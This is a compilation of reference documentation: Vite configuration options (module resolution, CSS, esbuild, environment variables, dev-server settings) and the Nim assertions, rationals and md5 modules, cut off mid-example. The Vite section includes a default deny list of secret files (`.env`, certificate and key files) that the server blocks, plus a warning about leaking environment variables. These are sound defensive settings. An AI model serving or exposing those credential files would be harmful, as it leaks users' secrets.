resolve listed dependencies to the same copy (from project root). **SSR + ESM**For SSR builds, deduplication does not work for ESM build outputs configured from `build.rollupOptions.output`. A workaround is to use CJS build outputs until ESM has better plugin support for module loading. resolve.conditions ------------------ * **Type:** `string[]` Additional allowed conditions when resolving [Conditional Exports](https://nodejs.org/api/packages.html#packages_conditional_exports) from a package. A package with conditional exports may have the following `exports` field in its `package.json`: json ``` { "exports": { ".": { "import": "./index.mjs", "require": "./index.js" } } } ``` Here, `import` and `require` are "conditions". Conditions can be nested and should be specified from most specific to least specific. Vite has a list of "allowed conditions" and will match the first condition that is in the allowed list. The default allowed conditions are: `import`, `module`, `browser`, `default`, and `production/development` based on current mode. The `resolve.conditions` config option allows specifying additional allowed conditions. **Resolving subpath exports**Export keys ending with "/" is deprecated by Node and may not work well. Please contact the package author to use [`*` subpath patterns](https://nodejs.org/api/packages.html#package-entry-points) instead. resolve.mainFields ------------------ * **Type:** `string[]` * **Default:** `['module', 'jsnext:main', 'jsnext']` List of fields in `package.json` to try when resolving a package's entry point. Note this takes lower precedence than conditional exports resolved from the `exports` field: if an entry point is successfully resolved from `exports`, the main field will be ignored. resolve.browserField -------------------- * **Type:** `boolean` * **Default:** `true` * **Deprecated** Whether to enable resolving to `browser` field. In future, `resolve.mainFields`'s default value will be `['browser', 'module', 'jsnext:main', 'jsnext']` and this option will be removed. resolve.extensions ------------------ * **Type:** `string[]` * **Default:** `['.mjs', '.js', '.mts', '.ts', '.jsx', '.tsx', '.json']` List of file extensions to try for imports that omit extensions. Note it is **NOT** recommended to omit extensions for custom import types (e.g. `.vue`) since it can interfere with IDE and type support. resolve.preserveSymlinks ------------------------ * **Type:** `boolean` * **Default:** `false` Enabling this setting causes vite to determine file identity by the original file path (i.e. the path without following symlinks) instead of the real file path (i.e. the path after following symlinks). * **Related:** [esbuild#preserve-symlinks](https://esbuild.github.io/api/#preserve-symlinks), [webpack#resolve.symlinks](https://webpack.js.org/configuration/resolve/#resolvesymlinks) css.modules ----------- * **Type:** ts ``` interface CSSModulesOptions { scopeBehaviour?: 'global' | 'local' globalModulePaths?: RegExp[] generateScopedName?: | string | ((name: string, filename: string, css: string) => string) hashPrefix?: string /** * default: null */ localsConvention?: | 'camelCase' | 'camelCaseOnly' | 'dashes' | 'dashesOnly' | null } ``` Configure CSS modules behavior. The options are passed on to [postcss-modules](https://github.com/css-modules/postcss-modules). css.postcss ----------- * **Type:** `string | (postcss.ProcessOptions & { plugins?: postcss.AcceptedPlugin[] })` Inline PostCSS config or a custom directory to search PostCSS config from (default is project root). For inline PostCSS config, it expects the same format as `postcss.config.js`. But for `plugins` property, only [array format](https://github.com/postcss/postcss-load-config/blob/main/README.md#array) can be used. The search is done using [postcss-load-config](https://github.com/postcss/postcss-load-config) and only the supported config file names are loaded. Note if an inline config is provided, Vite will not search for other PostCSS config sources. css.preprocessorOptions ----------------------- * **Type:** `Record<string, object>` Specify options to pass to CSS pre-processors. The file extensions are used as keys for the options. Example: js ``` export default defineConfig({ css: { preprocessorOptions: { scss: { additionalData: `$injectedColor: orange;`, }, styl: { additionalData: `$injectedColor ?= orange`, }, }, }, }) ``` css.devSourcemap ---------------- * **Experimental** * **Type:** `boolean` * **Default:** `false` Whether to enable sourcemaps during dev. json.namedExports ----------------- * **Type:** `boolean` * **Default:** `true` Whether to support named imports from `.json` files. json.stringify -------------- * **Type:** `boolean` * **Default:** `false` If set to `true`, imported JSON will be transformed into `export default JSON.parse("...")` which is significantly more performant than Object literals, especially when the JSON file is large. Enabling this disables named imports. esbuild ------- * **Type:** `ESBuildOptions | false` `ESBuildOptions` extends [esbuild's own transform options](https://esbuild.github.io/api/#transform-api). The most common use case is customizing JSX: js ``` export default defineConfig({ esbuild: { jsxFactory: 'h', jsxFragment: 'Fragment', }, }) ``` By default, esbuild is applied to `ts`, `jsx` and `tsx` files. You can customize this with `esbuild.include` and `esbuild.exclude`, which can be a regex, a [picomatch](https://github.com/micromatch/picomatch#globbing-features) pattern, or an array of either. In addition, you can also use `esbuild.jsxInject` to automatically inject JSX helper imports for every file transformed by esbuild: js ``` export default defineConfig({ esbuild: { jsxInject: `import React from 'react'`, }, }) ``` When [`build.minify`](build-options#build-minify) is `true`, all minify optimizations are applied by default. To disable [certain aspects](https://esbuild.github.io/api/#minify) of it, set any of `esbuild.minifyIdentifiers`, `esbuild.minifySyntax`, or `esbuild.minifyWhitespace` options to `false`. Note the `esbuild.minify` option can't be used to override `build.minify`. Set to `false` to disable esbuild transforms. assetsInclude ------------- * **Type:** `string | RegExp | (string | RegExp)[]` * **Related:** [Static Asset Handling](../guide/assets) Specify additional [picomatch patterns](https://github.com/micromatch/picomatch#globbing-features) to be treated as static assets so that: * They will be excluded from the plugin transform pipeline when referenced from HTML or directly requested over `fetch` or XHR. * Importing them from JS will return their resolved URL string (this can be overwritten if you have a `enforce: 'pre'` plugin to handle the asset type differently). The built-in asset type list can be found [here](https://github.com/vitejs/vite/blob/main/packages/vite/src/node/constants.ts). **Example:** js ``` export default defineConfig({ assetsInclude: ['**/*.gltf'], }) ``` logLevel -------- * **Type:** `'info' | 'warn' | 'error' | 'silent'` Adjust console output verbosity. Default is `'info'`. clearScreen ----------- * **Type:** `boolean` * **Default:** `true` Set to `false` to prevent Vite from clearing the terminal screen when logging certain messages. Via command line, use `--clearScreen false`. envDir ------ * **Type:** `string` * **Default:** `root` The directory from which `.env` files are loaded. Can be an absolute path, or a path relative to the project root. See [here](../guide/env-and-mode#env-files) for more about environment files. envPrefix --------- * **Type:** `string | string[]` * **Default:** `VITE_` Env variables starting with `envPrefix` will be exposed to your client source code via import.meta.env. **SECURITY NOTES**`envPrefix` should not be set as `''`, which will expose all your env variables and cause unexpected leaking of sensitive information. Vite will throw an error when detecting `''`. appType ------- * **Type:** `'spa' | 'mpa' | 'custom'` * **Default:** `'spa'` Whether your application is a Single Page Application (SPA), a [Multi Page Application (MPA)](../guide/build#multi-page-app), or Custom Application (SSR and frameworks with custom HTML handling): * `'spa'`: include HTML middlewares and use SPA fallback. Configure [sirv](https://github.com/lukeed/sirv) with `single: true` in preview * `'mpa'`: include HTML middlewares * `'custom'`: don't include HTML middlewares Learn more in Vite's [SSR guide](../guide/ssr#vite-cli). Related: [`server.middlewareMode`](server-options#server-middlewaremode).
programming_docs
vite Server Options Server Options ============== server.host ----------- * **Type:** `string | boolean` * **Default:** `'localhost'` Specify which IP addresses the server should listen on. Set this to `0.0.0.0` or `true` to listen on all addresses, including LAN and public addresses. This can be set via the CLI using `--host 0.0.0.0` or `--host`. **NOTE**There are cases when other servers might respond instead of Vite. The first case is when `localhost` is used. Node.js under v17 reorders the result of DNS-resolved addresses by default. When accessing `localhost`, browsers use DNS to resolve the address and that address might differ from the address which Vite is listening to. Vite prints the resolved address when it differs. You can set [`dns.setDefaultResultOrder('verbatim')`](https://nodejs.org/api/dns.html#dns_dns_setdefaultresultorder_order) to disable the reordering behavior. Vite will then print the address as `localhost`. js ``` // vite.config.js import { defineConfig } from 'vite' import dns from 'dns' dns.setDefaultResultOrder('verbatim') export default defineConfig({ // omit }) ``` The second case is when wildcard hosts (e.g. `0.0.0.0`) are used. This is because servers listening on non-wildcard hosts take priority over those listening on wildcard hosts. server.port ----------- * **Type:** `number` * **Default:** `5173` Specify server port. Note if the port is already being used, Vite will automatically try the next available port so this may not be the actual port the server ends up listening on. server.strictPort ----------------- * **Type:** `boolean` Set to `true` to exit if port is already in use, instead of automatically trying the next available port. server.https ------------ * **Type:** `boolean | https.ServerOptions` Enable TLS + HTTP/2. Note this downgrades to TLS only when the [`server.proxy` option](#server-proxy) is also used. The value can also be an [options object](https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener) passed to `https.createServer()`. A valid certificate is needed. For a basic setup, you can add [@vitejs/plugin-basic-ssl](https://github.com/vitejs/vite-plugin-basic-ssl) to the project plugins, which will automatically create and cache a self-signed certificate. But we recommend creating your own certificates. server.open ----------- * **Type:** `boolean | string` Automatically open the app in the browser on server start. When the value is a string, it will be used as the URL's pathname. If you want to open the server in a specific browser you like, you can set the env `process.env.BROWSER` (e.g. `firefox`). You can also set `process.env.BROWSER_ARGS` to pass additional arguments (e.g. `--incognito`). `BROWSER` and `BROWSER_ARGS` are also special environment variables you can set in the `.env` file to configure it. See [the `open` package](https://github.com/sindresorhus/open#app) for more details. **Example:** js ``` export default defineConfig({ server: { open: '/docs/index.html', }, }) ``` server.proxy ------------ * **Type:** `Record<string, string | ProxyOptions>` Configure custom proxy rules for the dev server. Expects an object of `{ key: options }` pairs. Any requests that request path starts with that key will be proxied to that specified target. If the key starts with `^`, it will be interpreted as a `RegExp`. The `configure` option can be used to access the proxy instance. Note that if you are using non-relative [`base`](shared-options#base), you must prefix each key with that `base`. Uses [`http-proxy`](https://github.com/http-party/node-http-proxy). Full options [here](https://github.com/http-party/node-http-proxy#options). In some cases, you might also want to configure the underlying dev server (e.g. to add custom middlewares to the internal [connect](https://github.com/senchalabs/connect) app). In order to do that, you need to write your own [plugin](../guide/using-plugins) and use [configureServer](../guide/api-plugin#configureserver) function. **Example:** js ``` export default defineConfig({ server: { proxy: { // string shorthand: http://localhost:5173/foo -> http://localhost:4567/foo '/foo': 'http://localhost:4567', // with options: http://localhost:5173/api/bar-> http://jsonplaceholder.typicode.com/bar '/api': { target: 'http://jsonplaceholder.typicode.com', changeOrigin: true, rewrite: (path) => path.replace(/^\/api/, ''), }, // with RegEx: http://localhost:5173/fallback/ -> http://jsonplaceholder.typicode.com/ '^/fallback/.*': { target: 'http://jsonplaceholder.typicode.com', changeOrigin: true, rewrite: (path) => path.replace(/^\/fallback/, ''), }, // Using the proxy instance '/api': { target: 'http://jsonplaceholder.typicode.com', changeOrigin: true, configure: (proxy, options) => { // proxy will be an instance of 'http-proxy' }, }, // Proxying websockets or socket.io: ws://localhost:5173/socket.io -> ws://localhost:5174/socket.io '/socket.io': { target: 'ws://localhost:5174', ws: true, }, }, }, }) ``` server.cors ----------- * **Type:** `boolean | CorsOptions` Configure CORS for the dev server. This is enabled by default and allows any origin. Pass an [options object](https://github.com/expressjs/cors#configuration-options) to fine tune the behavior or `false` to disable. server.headers -------------- * **Type:** `OutgoingHttpHeaders` Specify server response headers. server.hmr ---------- * **Type:** `boolean | { protocol?: string, host?: string, port?: number, path?: string, timeout?: number, overlay?: boolean, clientPort?: number, server?: Server }` Disable or configure HMR connection (in cases where the HMR websocket must use a different address from the http server). Set `server.hmr.overlay` to `false` to disable the server error overlay. `clientPort` is an advanced option that overrides the port only on the client side, allowing you to serve the websocket on a different port than the client code looks for it on. When `server.hmr.server` is defined, Vite will process the HMR connection requests through the provided server. If not in middleware mode, Vite will attempt to process HMR connection requests through the existing server. This can be helpful when using self-signed certificates or when you want to expose Vite over a network on a single port. Check out [`vite-setup-catalogue`](https://github.com/sapphi-red/vite-setup-catalogue) for some examples. **NOTE**With the default configuration, reverse proxies in front of Vite are expected to support proxying WebSocket. If the Vite HMR client fails to connect WebSocket, the client will fall back to connecting the WebSocket directly to the Vite HMR server bypassing the reverse proxies: ``` Direct websocket connection fallback. Check out https://vitejs.dev/config/server-options.html#server-hmr to remove the previous connection error. ``` The error that appears in the Browser when the fallback happens can be ignored. To avoid the error by directly bypassing reverse proxies, you could either: * configure the reverse proxy to proxy WebSocket too * set [`server.strictPort = true`](#server-strictport) and set `server.hmr.clientPort` to the same value with `server.port` * set `server.hmr.port` to a different value from [`server.port`](#server-port) server.watch ------------ * **Type:** `object` File system watcher options to pass on to [chokidar](https://github.com/paulmillr/chokidar#api). The Vite server watcher skips `.git/` and `node_modules/` directories by default. If you want to watch a package inside `node_modules/`, you can pass a negated glob pattern to `server.watch.ignored`. That is: js ``` export default defineConfig({ server: { watch: { ignored: ['!**/node_modules/your-package-name/**'], }, }, // The watched package must be excluded from optimization, // so that it can appear in the dependency graph and trigger hot reload. optimizeDeps: { exclude: ['your-package-name'], }, }) ``` **Using Vite on Windows Subsystem for Linux (WSL) 2**When running Vite on WSL2, file system watching does not work when a file is edited by Windows applications (non-WSL2 process). This is due to [a WSL2 limitation](https://github.com/microsoft/WSL/issues/4739). This also applies to running on Docker with a WSL2 backend. To fix it, you could either: * **Recommended**: Use WSL2 applications to edit your files. + It is also recommended to move the project folder outside of a Windows filesystem. Accessing Windows filesystem from WSL2 is slow. Removing that overhead will improve performance. * Set `{ usePolling: true }`. + Note that [`usePolling` leads to high CPU utilization](https://github.com/paulmillr/chokidar#performance). server.middlewareMode --------------------- * **Type:** `boolean` * **Default:** `false` Create Vite server in middleware mode. * **Related:** [appType](shared-options#apptype), [SSR - Setting Up the Dev Server](../guide/ssr#setting-up-the-dev-server) * **Example:** js ``` import express from 'express' import { createServer as createViteServer } from 'vite' async function createServer() { const app = express() // Create Vite server in middleware mode const vite = await createViteServer({ server: { middlewareMode: true }, appType: 'custom', // don't include Vite's default HTML handling middlewares }) // Use vite's connect instance as middleware app.use(vite.middlewares) app.use('*', async (req, res) => { // Since `appType` is `'custom'`, should serve response here. // Note: if `appType` is `'spa'` or `'mpa'`, Vite includes middlewares to handle // HTML requests and 404s so user middlewares should be added // before Vite's middlewares to take effect instead }) } createServer() ``` server.base ----------- * **Type:** `string | undefined` Prepend this folder to http requests, for use when proxying vite as a subfolder. Should start with the `/` character. server.fs.strict ---------------- * **Type:** `boolean` * **Default:** `true` (enabled by default since Vite 2.7) Restrict serving files outside of workspace root. server.fs.allow --------------- * **Type:** `string[]` Restrict files that could be served via `/@fs/`. When `server.fs.strict` is set to `true`, accessing files outside this directory list that aren't imported from an allowed file will result in a 403. Vite will search for the root of the potential workspace and use it as default. A valid workspace met the following conditions, otherwise will fall back to the [project root](../guide/index#index-html-and-project-root). * contains `workspaces` field in `package.json` * contains one of the following file + `lerna.json` + `pnpm-workspace.yaml` Accepts a path to specify the custom workspace root. Could be a absolute path or a path relative to [project root](../guide/index#index-html-and-project-root). For example: js ``` export default defineConfig({ server: { fs: { // Allow serving files from one level up to the project root allow: ['..'], }, }, }) ``` When `server.fs.allow` is specified, the auto workspace root detection will be disabled. To extend the original behavior, a utility `searchForWorkspaceRoot` is exposed: js ``` import { defineConfig, searchForWorkspaceRoot } from 'vite' export default defineConfig({ server: { fs: { allow: [ // search up for workspace root searchForWorkspaceRoot(process.cwd()), // your custom rules '/path/to/custom/allow', ], }, }, }) ``` server.fs.deny -------------- * **Type:** `string[]` * **Default:** `['.env', '.env.*', '*.{crt,pem}']` Blocklist for sensitive files being restricted to be served by Vite dev server. This will have higher priority than [`server.fs.allow`](#server-fs-allow). [picomatch patterns](https://github.com/micromatch/picomatch#globbing-features) are supported. server.origin ------------- * **Type:** `string` Defines the origin of the generated asset URLs during development. js ``` export default defineConfig({ server: { origin: 'http://127.0.0.1:8080', }, }) ``` nim assertions assertions ========== Imports ------- <miscdollars> Procs ----- ``` proc raiseAssert(msg: string) {...}{.noinline, noreturn, nosinks, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/assertions.nim#L22) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/assertions.nim#L22) ``` proc failedAssertImpl(msg: string) {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/assertions.nim#L25) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/assertions.nim#L25) Templates --------- ``` template assert(cond: untyped; msg = "") ``` Raises `AssertionDefect` with `msg` if `cond` is false. Note that `AssertionDefect` is hidden from the effect system, so it doesn't produce `{.raises: [AssertionDefect].}`. This exception is only supposed to be caught by unit testing frameworks. The compiler may not generate any code at all for `assert` if it is advised to do so through the `-d:danger` or `--assertions:off` [command line switches](nimc#compiler-usage-command-line-switches). ``` static: assert 1 == 9, "This assertion generates code when not built with -d:danger or --assertions:off" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/assertions.nim#L43) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/assertions.nim#L43) ``` template doAssert(cond: untyped; msg = "") ``` Similar to `assert` but is always turned on regardless of `--assertions`. ``` static: doAssert 1 == 9, "This assertion generates code when built with/without -d:danger or --assertions:off" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/assertions.nim#L57) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/assertions.nim#L57) ``` template onFailedAssert(msg, code: untyped): untyped {...}{.dirty.} ``` Sets an assertion failure handler that will intercept any assert statements following `onFailedAssert` in the current module scope. ``` # module-wide policy to change the failed assert # exception type in order to include a lineinfo onFailedAssert(msg): var e = new(TMyError) e.msg = msg e.lineinfo = instantiationInfo(-2) raise e ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/assertions.nim#L65) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/assertions.nim#L65) ``` template doAssertRaises(exception: typedesc; code: untyped) ``` Raises `AssertionDefect` if specified `code` does not raise the specified exception. Example: ``` doAssertRaises(ValueError): raise newException(ValueError, "Hello World") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/assertions.nim#L82) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/assertions.nim#L82) nim rationals rationals ========= This module implements rational numbers, consisting of a numerator `num` and a denominator `den`, both of type int. The denominator can not be 0. Imports ------- <math>, <hashes> Types ----- ``` Rational[T] = object num*, den*: T ``` a rational number, consisting of a numerator and denominator [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L17) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L17) Procs ----- ``` proc initRational[T: SomeInteger](num, den: T): Rational[T] ``` Create a new rational number. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L21) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L21) ``` proc `//`[T](num, den: T): Rational[T] ``` A friendlier version of `initRational`. Example usage: ``` var x = 1//3 + 1//5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L27) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L27) ``` proc `$`[T](x: Rational[T]): string ``` Turn a rational number into a string. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L33) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L33) ``` proc toRational[T: SomeInteger](x: T): Rational[T] ``` Convert some integer `x` to a rational number. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L37) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L37) ``` proc toRational(x: float; n: int = high(int) shr 32): Rational[int] {...}{. raises: [], tags: [].} ``` Calculates the best rational numerator and denominator that approximates to `x`, where the denominator is smaller than `n` (default is the largest possible int to give maximum resolution). The algorithm is based on the theory of continued fractions. ``` import math, rationals for i in 1..10: let t = (10 ^ (i+3)).int let x = toRational(PI, t) let newPI = x.num / x.den echo x, " ", newPI, " error: ", PI - newPI, " ", t ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L42) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L42) ``` proc toFloat[T](x: Rational[T]): float ``` Convert a rational number `x` to a float. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L77) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L77) ``` proc toInt[T](x: Rational[T]): int ``` Convert a rational number `x` to an int. Conversion rounds towards 0 if `x` does not contain an integer value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L81) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L81) ``` proc reduce[T: SomeInteger](x: var Rational[T]) ``` Reduce rational `x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L86) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L86) ``` proc `+`[T](x, y: Rational[T]): Rational[T] ``` Add two rational numbers. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L98) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L98) ``` proc `+`[T](x: Rational[T]; y: T): Rational[T] ``` Add rational `x` to int `y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L105) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L105) ``` proc `+`[T](x: T; y: Rational[T]): Rational[T] ``` Add int `x` to rational `y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L110) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L110) ``` proc `+=`[T](x: var Rational[T]; y: Rational[T]) ``` Add rational `y` to rational `x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L115) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L115) ``` proc `+=`[T](x: var Rational[T]; y: T) ``` Add int `y` to rational `x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L122) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L122) ``` proc `-`[T](x: Rational[T]): Rational[T] ``` Unary minus for rational numbers. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L126) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L126) ``` proc `-`[T](x, y: Rational[T]): Rational[T] ``` Subtract two rational numbers. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L131) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L131) ``` proc `-`[T](x: Rational[T]; y: T): Rational[T] ``` Subtract int `y` from rational `x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L138) ``` proc `-`[T](x: T; y: Rational[T]): Rational[T] ``` Subtract rational `y` from int `x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L143) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L143) ``` proc `-=`[T](x: var Rational[T]; y: Rational[T]) ``` Subtract rational `y` from rational `x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L148) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L148) ``` proc `-=`[T](x: var Rational[T]; y: T) ``` Subtract int `y` from rational `x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L155) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L155) ``` proc `*`[T](x, y: Rational[T]): Rational[T] ``` Multiply two rational numbers. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L159) ``` proc `*`[T](x: Rational[T]; y: T): Rational[T] ``` Multiply rational `x` with int `y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L165) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L165) ``` proc `*`[T](x: T; y: Rational[T]): Rational[T] ``` Multiply int `x` with rational `y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L171) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L171) ``` proc `*=`[T](x: var Rational[T]; y: Rational[T]) ``` Multiply rationals `y` to `x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L177) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L177) ``` proc `*=`[T](x: var Rational[T]; y: T) ``` Multiply int `y` to rational `x`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L183) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L183) ``` proc reciprocal[T](x: Rational[T]): Rational[T] ``` Calculate the reciprocal of `x`. (1/x) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L188) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L188) ``` proc `/`[T](x, y: Rational[T]): Rational[T] ``` Divide rationals `x` by `y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L199) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L199) ``` proc `/`[T](x: Rational[T]; y: T): Rational[T] ``` Divide rational `x` by int `y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L205) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L205) ``` proc `/`[T](x: T; y: Rational[T]): Rational[T] ``` Divide int `x` by Rational `y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L211) ``` proc `/=`[T](x: var Rational[T]; y: Rational[T]) ``` Divide rationals `x` by `y` in place. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L217) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L217) ``` proc `/=`[T](x: var Rational[T]; y: T) ``` Divide rational `x` by int `y` in place. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L223) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L223) ``` proc cmp(x, y: Rational): int ``` Compares two rationals. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L228) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L228) ``` proc `<`(x, y: Rational): bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L232) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L232) ``` proc `<=`(x, y: Rational): bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L235) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L235) ``` proc `==`(x, y: Rational): bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L238) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L238) ``` proc abs[T](x: Rational[T]): Rational[T] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L241) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L241) ``` proc `div`[T: SomeInteger](x, y: Rational[T]): T ``` Computes the rational truncated division. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L245) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L245) ``` proc `mod`[T: SomeInteger](x, y: Rational[T]): Rational[T] ``` Computes the rational modulo by truncated division (remainder). This is same as `x - (x div y) * y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L249) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L249) ``` proc floorDiv[T: SomeInteger](x, y: Rational[T]): T ``` Computes the rational floor division. Floor division is conceptually defined as `floor(x / y)`. This is different from the `div` operator, which is defined as `trunc(x / y)`. That is, `div` rounds towards `0` and `floorDiv` rounds down. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L255) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L255) ``` proc floorMod[T: SomeInteger](x, y: Rational[T]): Rational[T] ``` Computes the rational modulo by floor division (modulo). This is same as `x - floorDiv(x, y) * y`. This proc behaves the same as the `%` operator in python. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L264) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L264) ``` proc hash[T](x: Rational[T]): Hash ``` Computes hash for rational `x` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/rationals.nim#L272) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/rationals.nim#L272)
programming_docs
nim md5 md5 === Module for computing [MD5 checksums](https://en.wikipedia.org/wiki/MD5). **See also:** * [base64 module](base64) implements a base64 encoder and decoder * [std/sha1 module](sha1) for a sha1 encoder and decoder * [hashes module](hashes) for efficient computations of hash values for diverse Nim types Types ----- ``` MD5Digest = array[0 .. 15, uint8] ``` MD5 checksum of a string, obtained with [toMD5 proc](#toMD5,string). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/md5.nim#L25) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/md5.nim#L25) ``` MD5Context {...}{.final.} = object state: MD5State count: array[0 .. 1, uint32] buffer: MD5Buffer ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/md5.nim#L28) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/md5.nim#L28) Procs ----- ``` proc toMD5(s: string): MD5Digest {...}{.raises: [], tags: [].} ``` Computes the `MD5Digest` value for a string `s`. See also: * [getMD5 proc](#getMD5,string) which returns a string representation of the `MD5Digest` * [$ proc](#%24,MD5Digest) for converting MD5Digest to string **Example:** ``` assert 